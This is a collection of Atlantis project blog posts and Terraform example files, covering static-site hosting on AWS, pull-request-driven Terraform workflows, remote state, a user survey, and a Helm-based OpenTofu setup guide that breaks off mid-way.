```yaml{14} # atlantis.yaml version: 2 projects: - name: staging dir: "." workflow: staging workflows: staging: plan: steps: - init - plan: extra_args: ["-var-file", "staging.tfvars"] ``` ### Locking For Coordination ![](atlantis-0-4-4-now-supports-bitbucket/pic8.webp) Atlantis will prevent other pull requests from running against the same directory as an open pull request so that each plan is applied atomically. Once the first pull request is merged, other pull requests are unlocked. ## Next Steps If you're interested in using Atlantis with Bitbucket, check out our Getting Started docs. Happy Terraforming! ================================================ FILE: runatlantis.io/blog/2018/hosting-our-static-site/code/cloudfront.tf ================================================ resource "aws_cloudfront_distribution" "www_distribution" { // origin is where CloudFront gets its content from. origin { // We need to set up a "custom" origin because otherwise CloudFront won't // redirect traffic from the root domain to the www domain, that is from // runatlantis.io to www.runatlantis.io. custom_origin_config { // These are all the defaults. http_port = "80" https_port = "443" origin_protocol_policy = "http-only" origin_ssl_protocols = ["TLSv1", "TLSv1.1", "TLSv1.2"] } // Here we're using our S3 bucket's URL! domain_name = "${aws_s3_bucket.www.website_endpoint}" // This can be any name to identify this origin. origin_id = "${var.www_domain_name}" } enabled = true default_root_object = "index.html" // All values are defaults from the AWS console. default_cache_behavior { viewer_protocol_policy = "redirect-to-https" compress = true allowed_methods = ["GET", "HEAD"] cached_methods = ["GET", "HEAD"] // This needs to match the `origin_id` above. target_origin_id = "${var.www_domain_name}" min_ttl = 0 default_ttl = 86400 max_ttl = 31536000 forwarded_values { query_string = false cookies { forward = "none" } } } // Here we're ensuring we can hit this distribution using www.runatlantis.io // rather than the domain name CloudFront gives us. aliases = ["${var.www_domain_name}"] restrictions { geo_restriction { restriction_type = "none" } } // Here's where our certificate is loaded in! viewer_certificate { acm_certificate_arn = "${aws_acm_certificate.certificate.arn}" ssl_support_method = "sni-only" } } ================================================ FILE: runatlantis.io/blog/2018/hosting-our-static-site/code/dns.tf ================================================ // We want AWS to host our zone so its nameservers can point to our CloudFront // distribution. resource "aws_route53_zone" "zone" { name = "${var.root_domain_name}" } // This Route53 record will point at our CloudFront distribution. resource "aws_route53_record" "www" { zone_id = "${aws_route53_zone.zone.zone_id}" name = "${var.www_domain_name}" type = "A" alias = { name = "${aws_cloudfront_distribution.www_distribution.domain_name}" zone_id = "${aws_cloudfront_distribution.www_distribution.hosted_zone_id}" evaluate_target_health = false } } ================================================ FILE: runatlantis.io/blog/2018/hosting-our-static-site/code/full.tf ================================================ resource "aws_s3_bucket" "root" { bucket = "${var.root_domain_name}" acl = "public-read" policy = < ::: In this post I cover how I hosted using - S3 — for storing the static site - CloudFront — for serving the static site over SSL - AWS Certificate Manager — for generating the SSL certificates - Route53 — for routing the domain name to the correct location I chose Terraform in this case because Atlantis is a tool for automating and collaborating on Terraform in a team (see github.com/runatlantis/atlantis)–and so obviously it made sense to host our homepage using Terraform–but also because it's now much easier to manage. I don't have to go into the AWS console and click around to find what settings I want to change. Instead I can just look at ~100 lines of code, make a change, and run `terraform apply`. ::: info NOTE: 4 months after this writing, I moved the site to [Netlify](https://www.netlify.com/) because it automatically builds from my master branch on any change, updates faster since I don't need to wait for the Cloudfront cache to expire and gives me [deploy previews](https://www.netlify.com/blog/2016/07/20/introducing-deploy-previews-in-netlify/) of changes. The DNS records are still hosted on AWS. ::: # Overview There's a surprising number of components required to get all this working so I'm going to start with an overview of what they're all needed for. Here's what the final architecture looks like: ![](hosting-our-static-site/pic1.webp) That's what the final product looks like, but lets start with the steps required to get there. ## Step 1 — Generate The Site The first step is to have a site generated. Our site uses [Hugo](https://gohugo.io/), a Golang site generator. Once it's set up, you just need to run `hugo` and it will generate a directory with HTML and all your content ready to host. ## Step 2 — Host The Content Once you've got a website, you need it to be accessible on the internet. I used S3 for this because it's dirt cheap and it integrates well with all the other necessary components. I simply upload my website folder to the S3 bucket. ## Step 3 — Generate an SSL Certificate I needed to generate an SSL certificate for . I used the AWS Certificate Manager for this because it's free and is easily integrated with the rest of the system. ## Step 4 — Set up DNS Because I'm going to host the site on AWS services, I need requests to to be routed to those services. Route53 is the obvious solution. ## Step 5 — Host with CloudFront At this point, we've generated an SSL certificate for and our website is available on the internet via its S3 url so can't we just CNAME to the S3 bucket and call it a day? Unfortunately not. Since we generated our own certificate, we would need S3 to sign its responses using our certificate. S3 doesn't support this and thus we need CloudFront. CloudFront supports using our own SSL cert and will just pull its data from the S3 bucket. # Terraform Time Now that we know what our architecture should look like, it's simply a matter of writing the Terraform. ## Initial Setup Create a new file `main.tf`: @include: ./publichosting-our-static-site/code/main.tf ## S3 Bucket Assuming we've generated our site content already, we need to create an S3 bucket to host the content. @include: /publichosting-our-static-site/code/s3-bucket.tf We should be able to run Terraform now to create the S3 bucket ```sh terraform init `terraform apply` ``` ![](hosting-our-static-site/pic2.webp) Now we want to upload our content to the S3 bucket: ```sh $ cd dir/with/website # generate the HTML $ hugo -d generated $ cd generated # send it to our S3 bucket $ aws s3 sync . s3://www.runatlantis.io/ # change this to your bucket ``` Now we need the S3 url to see our content: ```sh $ terraform state show aws_s3_bucket.www | grep website_endpoint website_endpoint = www.runatlantis.io.s3-website-us-east-1.amazonaws.com ``` You should see your site hosted at that url! ## SSL Certificate Let's use the AWS Certificate Manager to create our SSL certificate. @include hosting-our-static-site/code/ssl-cert.tf Before you run `terraform apply`, ensure you're forwarding any of - `administrator@your_domain_name` - `hostmaster@your_domain_name` - `postmaster@your_domain_name` - `webmaster@your_domain_name` - `admin@your_domain_name` To an email address you can access. Then, run `terraform apply` and you should get an email from AWS to confirm you own this domain where you'll need to click on the link. ## CloudFront Now we're ready for CloudFront to host our website using the S3 bucket for the content and using our SSL certificate. Warning! There's a lot of code ahead but most of it is just defaults. @include: hosting-our-static-site/code/cloudfront.tf Apply the changes with `terraform apply` and then find the domain name that CloudFront gives us: ```sh $ terraform state show aws_cloudfront_distribution.www_distribution | grep ^domain_name domain_name = d1l8j8yicxhafq.cloudfront.net ``` You'll probably get an error if you go to that URL right away. You need to wait a couple minutes for CloudFront to set itself up. It took me 10 minutes. You can view its progress in the console: ## DNS We're almost done! We've got CloudFront hosting our site, now we need to point our DNS at it. @include: hosting-our-static-site/code/dns.tf If you bought your domain from somewhere else like Namecheap, you'll need to point your DNS at the nameservers listed in the state for the Route53 zone you created. First `terraform apply` (which may take a while), then find out your nameservers. ```sh $ terraform state show aws_route53_zone.zone id = Z2FNAJGFW912JG comment = Managed by Terraform force_destroy = false name = runatlantis.io name_servers.# = 4 name_servers.0 = ns-1349.awsdns-40.org name_servers.1 = ns-1604.awsdns-08.co.uk name_servers.2 = ns-412.awsdns-51.com name_servers.3 = ns-938.awsdns-53.net tags.% = 0 zone_id = Z2FNAJGFW912JG ``` Then look at your domain's docs for how to change your nameservers to all 4 listed. ## That's it...? Once the DNS propagates you should see your site at `https://www.yourdomain`! But what about `https://yourdomain`? i.e. without the `www.`? Shouldn't this redirect to `https://www.yourdomain`? ## Root Domain It turns out, we need to create a whole new S3 bucket, CloudFront distribution and Route53 record just to get this to happen. That's because although S3 can serve up a redirect to the www version of your site, it can't host SSL certs and so you need CloudFront. I've included all the terraform necessary for that below. Congrats! You're done! If you're using Terraform in a team, check out Atlantis: for automation and collaboration to make your team happier! Here's the Terraform needed to redirect your root domain: @include: hosting-our-static-site/code/full.tf ================================================ FILE: runatlantis.io/blog/2018/joining-hashicorp.md ================================================ --- title: I'm Joining HashiCorp! lang: en-US --- # I'm Joining HashiCorp ::: info This post was originally written on October 23th, 2018 Original post: ::: Dear Atlantis Community, My name is Luke and I'm the maintainer of [Atlantis](https://www.runatlantis.io/), an open source tool for Terraform collaboration. Today I'm excited to announce that I'm joining HashiCorp! ![](joining-hashicorp/pic1.webp) ## What Does This Mean For Atlantis? In the near term, nothing will change for Atlantis and its users. As a HashiCorp employee I will continue to maintain Atlantis, review pull requests, triage issues, and write code. In the long term, HashiCorp and I want to address collaboration workflows for all users of Terraform. We are still working out the details of how Atlantis will fit into the longer term plan, but whatever direction we take, we're committed to keeping Atlantis free and open source. ## HashiCorp and Atlantis Why does HashiCorp want to support Atlantis? Today HashiCorp [announced their commitment to provide collaboration solutions to the whole Terraform community](https://www.hashicorp.com/blog/terraform-collaboration-for-everyone). They see the Atlantis project as one manifestation of this vision and understand its importance to many in the Terraform community. They believe that by working together, we can create a solution that will scale from a single user to hundreds of collaborators in a large organization. ## Why am I joining? Those of you who know me, may wonder why I made this decision. It came down to wanting to continue working on Atlantis–and the larger story of Terraform collaboration–and finding a way to support myself. In January, 9 months ago, I quit my job at Hootsuite to work **full time** on Atlantis (Atlantis was originally created at Hootsuite by my friend [Anubhav Mishra](https://twitter.com/anubhavm)). I left because I knew that the Terraform community was in need of a solution for collaboration and that with full time development, Atlantis could be that solution. During the last 9 months, Atlantis matured into a fully fledged collaboration solution and gained many new users. It has been an amazing time, but I've been working for free! I've always known that for Atlantis to be successful in the long term, I would need to find a way to support myself. A couple of weeks ago, as I was playing around with Atlantis monetization strategies, HashiCorp contacted me. I learned that they shared a vision of building Terraform collaboration solutions for the broader community and that they were interested in combining forces. They also assured me that they wanted to do right by the Atlantis community. This was a compelling offer versus solo-founding a company around Atlantis: I would be able to focus on coding and product instead of business and sales and I could spend all of my time on Atlantis and the larger story of Terraform collaboration. As a result, I came to the conclusion that joining HashiCorp was the right decision for me and the community. ## Conclusion Atlantis has been a passion of mine for almost two years now. I deeply care about the future of the project and its community and I know that this move will ensure that that future is bright. There are probably some questions I haven't answered in this post so please don't hesitate to reach out, either via [Twitter](https://twitter.com/lkysow) or on the [Atlantis Slack](https://slack.cncf.io/). I'm excited for the future of Atlantis and Terraform collaboration and I hope you are too. ================================================ FILE: runatlantis.io/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md ================================================ --- title: "Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too" lang: en-US --- # Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too ::: info This post was originally written on August 29th, 2018 Original post: ::: [Terraform](https://www.terraform.io/) is an amazing tool for provisioning infrastructure. Terraform enables your operators to perform their work faster and more reliably. **But if only your ops team is writing Terraform, you're missing out.** Terraform is not just a tool that makes ops teams more effective. Adopting Terraform is an opportunity to turn all of your developers into operators (at least for smaller tasks). This can make your entire engineering team more effective and create a better relationship between developers and operators. ### Quick Aside — What is Terraform? Terraform is two things. It's a language for describing infrastructure: ```tf resource "aws_instance" "example" { ami = "ami-2757f631" instance_type = "t2.micro" } ``` And it's a CLI tool that reads Terraform code and makes API calls to AWS (or any other cloud provider) to provision that infrastructure. In this example, we're using the CLI to run `terraform apply` which will create an EC2 instance: ```sh $ terraform apply Terraform will perform the following actions: # aws_instance.example + aws_instance.example ami: "ami-2757f631" instance_type: "t2.micro" ... Plan: 1 to add, 0 to change, 0 to destroy. Do you want to perform these actions? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: yes aws_instance.example: Creating... ami: "" => "ami-2757f631" instance_type: "" => "t2.micro" ... aws_instance.example: Still creating... (10s elapsed) aws_instance.example: Creation complete Apply complete! Resources: 1 added, 0 changed, 0 destroyed. ``` ## Terraform Adoption From A Dev's Perspective Adopting Terraform is great for your operations team's effectiveness but it doesn't change much for devs. Before Terraform adoption, devs typically interacted with an ops team like this: ![](putting-the-dev-into-devops/pic1.webp) 1. **Dev: Creates ticket asking for some ops work** 2. **Dev: Waits** 3. _Ops: Looks at ticket when in queue_ 4. _Ops: Does work_ 5. _Ops: Updates ticket_ 6. **Dev: Continues their work** After the Ops team adopts Terraform, the workflow from a dev's perspective is the same! ![](putting-the-dev-into-devops/pic2.webp) 1. **Dev: Creates ticket asking for some ops work** 2. **Dev: Waits** 3. _Ops: Looks at ticket when in queue_ 4. _Ops: Does work. This time using Terraform (TF)_ 5. _Ops: Updates ticket_ 6. **Dev: Continues their work** With Terraform, there's less of Step 2 (Dev: Waits) but apart from that, not much has changed. > If only ops is writing Terraform, your developers' experience is the same. ## Devs Want To Help Developers would love to help out with operations work. They know that for small changes they should be able to do the work themselves (with a review from ops). For example: - Adding a new security group rule - Increasing the size of an autoscaling group - Using a larger instance because their app needs more memory Developers could make all of these changes because they're small and well defined. Also, previous examples of doing the same thing can guide them. ## ...But Often They're Not Allowed In many organizations, devs are locked out of the cloud console. ![](putting-the-dev-into-devops/pic3.webp) They might be locked out for good reasons: - Security — You can do a lot of damage with full access to a cloud console - Compliance — Maybe your compliance requires only certain groups to have access - Cost — Devs might spin up some expensive resources and then forget about them Even if they have access, operations can be complicated: - It's often difficult to do seemingly simple things (think adding a security group rule that also requires peering VPCs). This means that just having access sometimes isn't enough. Devs might need help from an expert to get things done. ## Enter Terraform With Terraform, everything changes. Or at least it can. Now Devs can see in code how infrastructure is built. They can see the exact spot where security group rules are configured: ```tf resource "aws_security_group_rule" "allow_all" { type = "ingress" from_port = 0 to_port = 65535 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] security_group_id = "sg-123456" } resource "aws_security_group_rule" "allow_office" { ... } ``` Or where the size of the autoscaling group is set: ```tf resource "aws_autoscaling_group" "asg" { name = "my-asg" max_size = 5 desired_capacity = 4 min_size = 2 ... } ``` Devs understand code (surprise!) so it's a lot easier for them to make those small changes. Here's the new workflow: ![](putting-the-dev-into-devops/pic4.webp) 1. **Dev: Writes Terraform code** 2. **Dev: Creates pull request** 3. _Ops: Reviews pull request_ 4. **Dev: Applies the change with Terraform (TF)** 5. **Dev: Continues their work** Now: - Devs are making small changes themselves. This saves time and increases the speed of the whole engineering organization. - Devs can see exactly what is required to make the change. This means there's less back and forth over a ticket: “Okay so I know you need the security group opened between server A and B, but on which ports and with which protocol?” - Devs start to see how infrastructure is built. This increases cooperation between dev and ops because they can understand each other's work. Great! But there's another problem. ## Devs Are Locked Out Of Terraform Too In order to execute Terraform you need to have cloud credentials! It's really hard to write Terraform without being able to run `terraform init` and `terraform plan`, for the same reason it would be hard to write code if you could never run it locally! So are we back at square one? ## Enter Atlantis [Atlantis](https://www.runatlantis.io/) is an [open source](https://github.com/runatlantis/atlantis) tool for running Terraform from pull requests. With Atlantis, Terraform is run on a separate server (Atlantis is self-hosted) so you don't need to give out credentials to everyone. Access is controlled through pull request approvals. Here's what the workflow looks like: ### Step 1 — Create a Pull Request A developer creates a pull request with their change to add a security group rule. ![](putting-the-dev-into-devops/pic5.webp) ### Step 2 — Atlantis Runs Terraform Plan Atlantis automatically runs `terraform plan` and comments back on the pull request with the output. Now developers can fix their Terraform errors before asking for a review. ![](putting-the-dev-into-devops/pic6.webp) ### Step 3 — Fix The Terraform The developer pushes a new commit that fixes their error and Atlantis comments back with the valid `terraform plan` output. Now the developer can verify that the plan output looks good. ![](putting-the-dev-into-devops/pic7.webp) ### Step 4 — Get Approval You'll probably want to run Atlantis with the --require-approval flag that requires pull requests to be Approved before running atlantis apply. ![](putting-the-dev-into-devops/pic8.webp) ### Step 4a — Actually Get Approval An operator can now come along and review the changes and the output of `terraform plan`. This is much faster than doing the change themselves. ![](putting-the-dev-into-devops/pic9.webp) ### Step 5 — Apply To apply the changes, the developer or operator comments “atlantis apply”. ![](putting-the-dev-into-devops/pic10.webp) ## Success Now we've got a workflow that makes everyone happy: - Devs can write Terraform and iterate on the pull request until the `terraform plan` looks good - Operators can review pull requests and approve the changes before they're applied Now developers can make small operations changes and learn more about how infrastructure is built. Everyone can work more effectively and with a shared understanding that enhances collaboration. ## Does It Work In Practice? Atlantis has been used by my previous company, Hootsuite, for over 2 years. It's used daily by 20 operators but it's also used occasionally by over 60 developers! Another company uses Atlantis to manage 600+ Terraform repos collaborated on by over 300 developers and operators. ## Next Steps - If you'd like to learn more about Terraform, check out HashiCorp's [Introduction to Terraform](https://developer.hashicorp.com/terraform/intro) - If you'd like to try out Atlantis, go to - If you have any questions, reach out to me on Twitter ([at]lkysow) or in the comments below. ## Credits - Thanks to [Seth Vargo](https://medium.com/@sethvargo) for his talk [Version-Controlled Infrastructure with GitHub](https://www.youtube.com/watch?v=2TWqi7dLSro) that inspired a lot of this post. - Thanks to Isha for reading drafts of this post. - Icons in graphics from made by [Freepik](https://www.freepik.com/) from [Flaticon](https://www.flaticon.com/) and licensed by [CC 3.0](https://creativecommons.org/licenses/by/3.0/) ================================================ FILE: runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally.md ================================================ --- title: Terraform And The Dangers Of Applying Locally lang: en-US --- # Terraform And The Dangers Of Applying Locally ::: info This post was originally written on July 13th, 2018 Original post: ::: If you're using Terraform then at some point you've likely ran a `terraform apply` that reverted someone else's change! Here's how that tends to happen: ## The Setup Say we have two developers: Alice and Bob. Alice needs to add a new security group rule. She checks out a new branch, adds her rule and creates a pull request: ![](terraform-and-the-dangers-of-applying-locally/pic1.webp) When she runs `terraform plan` locally she sees what she expects. ![](terraform-and-the-dangers-of-applying-locally/pic2.webp) Meanwhile, Bob is working on an emergency fix. He checks out a new branch and adds a different security group rule called `emergency`: ![](terraform-and-the-dangers-of-applying-locally/pic3.webp) And, because it's an emergency, he **immediately runs apply**: ![](terraform-and-the-dangers-of-applying-locally/pic4.webp) Now back to Alice. She's just gotten approval on her pull request change and so she runs `terraform apply`: ![](terraform-and-the-dangers-of-applying-locally/pic5.webp) Did you catch what happened? Did you notice that the `apply` deleted Bob's rule? ![](terraform-and-the-dangers-of-applying-locally/pic6.webp) In this example, it wasn't too hard to see. However if the plan is much longer, or if the change is less obvious then it can be easy to miss. ## Possible Solutions There are some ways to avoid this: ### Use terraform plan `-out` If Alice had run `terraform plan -out plan.tfplan` then when she ran `terraform apply plan.tfplan` she would see: ![](terraform-and-the-dangers-of-applying-locally/pic7.webp) The problem with this solution is that few people run `terraform plan` anymore, much less `terraform plan -out`! It's easier to just run `terraform apply` and humans will take the easier path most of the time. ### Wrap `terraform apply` to ensure up to date with `master` Another possible solution is to write a wrapper script that ensures our branch is up to date with `master`. But this doesn't solve the problem of Bob running `apply` locally and not yet merging to `master`. In this case, Alice's branch would have been up to date with `master` but not the latest apply'd state. ### Be more disciplined What if everyone: - ALWAYS created a branch, got a pull request review, merged to `master` and then ran apply. And also everyone - ALWAYS checked to ensure their branch was rebased from `master`. And also everyone - ALWAYS carefully inspected the `terraform plan` output and made sure it was exactly what they expected ...then we wouldn't have a problem! Unfortunately this is not a real solution. We're all human and we're all going to make mistakes. Relying on people to follow a complicated process 100% of the time is not a solution because it doesn't work. ## Core Problem The core problem is that everyone is applying from their own workstations and it's up to them to ensure that they're up to date and that they keep `master` up to date. This is like developers deploying to production from their laptops. ### What if, instead of applying locally, a remote system did the apply's? This is why we built [Atlantis](https://www.runatlantis.io/) – an open source project for Terraform automation by pull request. You could also accomplished this with your own CI system or with [Terraform Enterprise](https://www.hashicorp.com/products/terraform). Here's how Atlantis solves this issue: When Alice makes her change, she creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request. When Bob makes his change, he creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request. ![](terraform-and-the-dangers-of-applying-locally/pic8.webp) Atlantis also **locks the directory** to ensure that no one else can run `plan` or `apply` until Alice's plan has been intentionally deleted or she merges the pull request. If Bob creates a pull request for his emergency change he'd see this error: ![](terraform-and-the-dangers-of-applying-locally/pic9.webp) Alice can then comment `atlantis apply` and Atlantis will run the apply itself: ![](terraform-and-the-dangers-of-applying-locally/pic10.webp) Finally, she merges the pull request and unlocks Bob's branch: ![](terraform-and-the-dangers-of-applying-locally/pic11.webp) ### But what if Bob ran `apply` locally? In that case, Alice is still okay because when Atlantis ran `terraform plan` it used `-out`. If Alice tries to apply that plan, Terraform will give an error because the plan was generated against an old state. ### Why does Atlantis run `apply` on the branch and not after a merge to `master`? We do this because `terraform apply` fails quite often, despite `terraform plan` succeeding. Usually it's because of a dependency issue between resources or because the cloud provider requires a certain format or a certain field to be set. Regardless, in practice we've found that `apply` fails a lot. By locking the directory, we're essentially ensuring that the branch being `apply`'d is `"master"` since no one else can modify that state. We then get the benefit of being able to iterate on the pull request and push small fixes until we're sure that the changeset is `apply`'d. If `apply` failed after merging to `master`, we'd have to open new pull requests over and over again. There is definitely a tradeoff here, however we believe it's the right tradeoff. ## Conclusion In conclusion, running `terraform apply` when you're working with a team of operators can be dangerous. Look to solutions like your own CI, Atlantis or Terraform Enterprise to ensure you're always working off the latest code that was `apply`'d. If you'd like to try Atlantis, you can get started here: ================================================ FILE: runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md ================================================ --- title: 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage lang: en-US --- # 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage ::: info This post was originally written on April 2nd, 2019 Original post: ::: Update (May 20/19) — Free State Storage is now called Terraform Cloud and is out of Beta, meaning anyone can sign up! HashiCorp is planning to offer free Terraform Remote State Storage and they have a beta version available now. In this article, I talk about 4 reasons you should try it (Disclosure: I work at HashiCorp). > _Sign up for Terraform Cloud [here](https://goo.gl/X5t5EM)._ ## What is Terraform State? Before I get into why you should use the new remote state storage, let's talk about what exactly we mean by state in Terraform. Terraform uses _state_ to map your Terraform code to the real-world resources that it provisions. For example, if I have Terraform code to create an AWS EC2 instance: ```tf resource "aws_instance" "web" { ami = "ami-e6d9d68c" instance_type = "t2.micro" } ``` When I run `terraform apply`, Terraform will make a “create EC2 instance” API call to AWS and AWS will return the unique ID of that instance (ex. `i-0ad17607e5ee026d0`). Terraform needs to record that ID somewhere so that later, it can make API calls to change or delete the instance. To store this information, Terraform uses a state file. For the above code, the state file will look something like: ```json{4,7} { ... "resources": { "aws_instance.web": { "type": "aws_instance", "primary": { "id": "i-0ad17607e5ee026d0", ... } ``` Here you can see that the resource `aws_instance.web` from our Terraform code is mapped to the instance ID `i-0ad17607e5ee026d0`. So if Terraform state is just a file, then what is remote state? ## Remote State By default, Terraform writes its state file to your local filesystem. This is okay for personal projects, but once you start working with a team, things get messy. In a team, you need to make sure everyone has an up to date version of the state file **and** ensure that two people aren't making concurrent changes. Enter remote state! Remote state is just storing the state file remotely, rather than on your filesystem. With remote state, there's only one copy so Terraform can ensure you're always up to date. To prevent team members from modifying state at the same time, Terraform can lock the remote state. > Remote state is just storing the state file remotely, rather than on your filesystem. Alright, so remote state is great, but unfortunately setting it up can be a bit tricky. In AWS, you can store it in an S3 bucket, but you need to create the bucket, configure it properly, set up its permissions properly, create a DynamoDB table for locking and then ensure everyone has proper credentials to write to it. It's much the same story in the other clouds. As a result, setting up remote state can be an annoying stumbling block as teams adopt Terraform. This brings us to the first reason to try HashiCorp's Free Remote State Storage... ## Reason #1 — Easy To Set Up Unlike other remote state solutions that require complicated setup to get right, setting up free remote state storage is easy. > Setting up HashiCorp's free remote state storage is easy Step 1 — Sign up for your [free Terraform Cloud](https://app.terraform.io/signup) account Step 2 — When you log in, you'll land on this page where you'll create your organization: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp) Step 3 — Next, go into User Settings and generate a token: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp) Step 4 — Take this token and create a local ~/.terraformrc file: ```tf credentials "app.terraform.io" { token = "mhVn15hHLylFvQ.atlasv1.jAH..." } ``` Step 5 — That's it! Now you're ready to store your state. In your Terraform project, add a `terraform` block: ```tf{3,5} terraform { backend "remote" { organization = "my-org" # org name from step 2. workspaces { name = "my-app" # name for your app's state. } } } ``` Run `terraform init` and tada! Your state is now being stored in Terraform Enterprise. You can see the state in the UI: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp) Speaking of seeing state in a UI... ## Reason #2 — Fully Featured State Viewer The second reason to try Terraform Cloud is its fully featured state viewer: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp) If you've ever messed up your Terraform state and needed to download an old version or wanted an audit log to know who changed what, then you'll love this feature. You can view the full state file at each point in time: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp) You can also see the diff of what changed: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp) Of course, you can find a way to get this information from some of the other state backends, but it's difficult. With HashiCorp's remote state storage, you get it for free. ## Reason #3 — Manual Locking The third reason to try Terraform Cloud is the ability to manually lock your state. Ever been working on a piece of infrastructure and wanted to ensure that no one could make any changes to it at the same time? Terraform Cloud comes with the ability to lock and unlock states from the UI: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp) While the state is locked, `terraform` operations will receive an error: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp) This saves you a lot of these: ![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp) ## Reason #4 — Works With Atlantis The final reason to try out Terraform Cloud is that it works flawlessly with [Atlantis](https://www.runatlantis.io/)! Set a `ATLANTIS_TFE_TOKEN` environment variable to a TFE token and you're ready to go. Head over to to learn more. Conclusion I highly encourage you to try out the new free Remote State Storage backend. It's a compelling offering over other state backends thanks to its ease of set up, fully featured state viewer and locking capabilities. If you're not on the waitlist, sign up here: . ================================================ FILE: runatlantis.io/blog/2024/april-2024-survey-results.md ================================================ --- title: Atlantis User Survey Results lang: en-US --- # Atlantis User Survey Results In April 2024, the Core Atlantis Team launched an anonymous survey of our users. Over the two months the survey was open we received 354 responses, which we will use to better understand our community's needs and help prioritize our roadmap. Overall, the results below show that we have a diverse set of enthusiastic users, and that though many are still the classic Atlantis setup (a handful of repos running terraform against AWS in GitHub), there are many different use cases and directions the community are going and would like to see Atlantis support. We are grateful for everyone who took the time to share their experiences with Atlantis. We plan to run this kind of survey on a semi-regular basis, stay tuned! ## Anonymized Results ### How do you interact with Atlantis? ![](april-2024-survey-results/interact.webp) Unsurprisingly, most users of Atlantis wear multiple hats, involved throughout the development process. ### How do you/your organization deploy Atlantis ![](april-2024-survey-results/deploy.webp) Most users of terraform deploy using Kubernetes and/or AWS. "Other Docker" use docker but do not use EKS or Helm directly, while a minority use some other combination of technologies. ### What Infrastructure as Code (IaC) tool(s) do you use with Atlantis? ![](april-2024-survey-results/iac.webp) The vast majority of Atlantis users are still using terraform as some part of their deployment. About half of them are in addition using Terragrunt, and OpenTofu seems to be gaining some ground. ### How many repositories does your Atlantis manage? ![](april-2024-survey-results/repos.webp) Most users have relatively modest footprints to managed with Atlantis (though a few large monorepos could be obscured in the numbers). ### Which Version Control Systems (VCSs) do you use? ![](april-2024-survey-results/vcs.webp) Most users of Atlantis are using GitHub, with a sizeable chunk on GitLab, followed by Bitbucket and others. This is analogous to the support and feature requests that the maintainers see for the various VCSs in the codebase. ### What is the most important feature you find missing from Atlantis? ![](april-2024-survey-results/features.webp) This being a free form question, there was a long tail of responses, so the above only shows answers after normalizing that had three or more instances. Drift Detection as well as infrastructure improvements were the obvious winners here. After that, users focused on various integrations and improvements to the UI. ## Conclusion It is always interesting and exciting for the core team to see the breadth of the use of Atlantis, and we look forward to using this information to understand the needs of the community. Atlantis has always been a community led effort, and we hope to continue to carry that spirit forward! ================================================ FILE: runatlantis.io/blog/2024/integrating-atlantis-with-opentofu.md ================================================ --- title: Integrating Atlantis with Opentofu lang: en-US --- # Integrating Atlantis with Opentofu ::: info This post was originally written on May 27nd, 2024 Original post: ::: ## What was our motivation? Due to the Terraform license change, many companies are migrating their IAC processes to OpenTofu, with this in mind and knowing that many of them use Atlantis and Terraform as infrastructure delivery automation, I created this documentation showing what to do to integrate Atlantis with OpenTofu. Stack: Atlantis, Terragrunt, OpenTofu, Github, ALB, EKS. We will implement it with your [Helm chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart): **1** - Add the runatlantis repository. ```sh helm repo add runatlantis https://runatlantis.github.io/helm-charts ``` **2** - Create file values.yaml and run: ```sh helm inspect values runatlantis/atlantis > values.yaml ``` **3** - Edit the file values.yaml and add your credentials access and secret which will be used in the Atlantis webhook configuration: See as create a [GitHubApp](https://docs.github.com/pt/apps/creating-github-apps/about-creating-github-apps). ```yaml githubApp: id: "CHANGE ME" key: | -----BEGIN RSA PRIVATE KEY----- "CHANGE ME" -----END RSA PRIVATE KEY----- slug: atlantis # secret webhook Atlantis secret: "CHANGE ME" ``` **4** - Enter the org and repository from github that Atlantis will interact in orgAllowlist: ```yaml # All repositories the org orgAllowlist: github.com/MY-ORG/* or # Just one repository orgAllowlist: github.com/MY-ORG/MY-REPO-IAC or # All repositories that start with MY-REPO-IAC- orgAllowlist: github.com/MY-ORG/MY-REPO-IAC-* ``` **5** - Now let’s configure the script that will be executed upon startup of the Atlantis init pod. In this step we download and install Terragrunt and OpenTofu, as well as include their binaries in the shared dir ```/plugins```. ```yaml initConfig: enabled: true image: alpine:latest imagePullPolicy: IfNotPresent # sharedDir is set as env var INIT_SHARED_DIR sharedDir: /plugins workDir: /tmp sizeLimit: 250Mi # example of how the script can be configured to install tools/providers required by the atlantis pod script: | #!/bin/sh set -eoux pipefail# terragrunt TG_VERSION="0.55.10" TG_SHA256_SUM="1ad609399352348a41bb5ea96fdff5c7a18ac223742f60603a557a54fc8c6cff" TG_FILE="${INIT_SHARED_DIR}/terragrunt" wget https://github.com/gruntwork-io/terragrunt/releases/download/v${TG_VERSION}/terragrunt_linux_amd64 -O "${TG_FILE}" echo "${TG_SHA256_SUM} ${TG_FILE}" | sha256sum -c chmod 755 "${TG_FILE}" terragrunt -v # OpenTofu TF_VERSION="1.6.2" TF_FILE="${INIT_SHARED_DIR}/tofu" wget https://github.com/opentofu/opentofu/releases/download/v${TF_VERSION}/tofu_${TF_VERSION}_linux_amd64.zip unzip tofu_${TF_VERSION}_linux_amd64.zip mv tofu ${INIT_SHARED_DIR} chmod 755 "${TF_FILE}" tofu -v ``` **6** - Here we configure the envs to avoid downloading alternative versions of Terraform and indicate to Terragrunt where it should fetch the OpenTofu binary. ```yaml # envs environment: 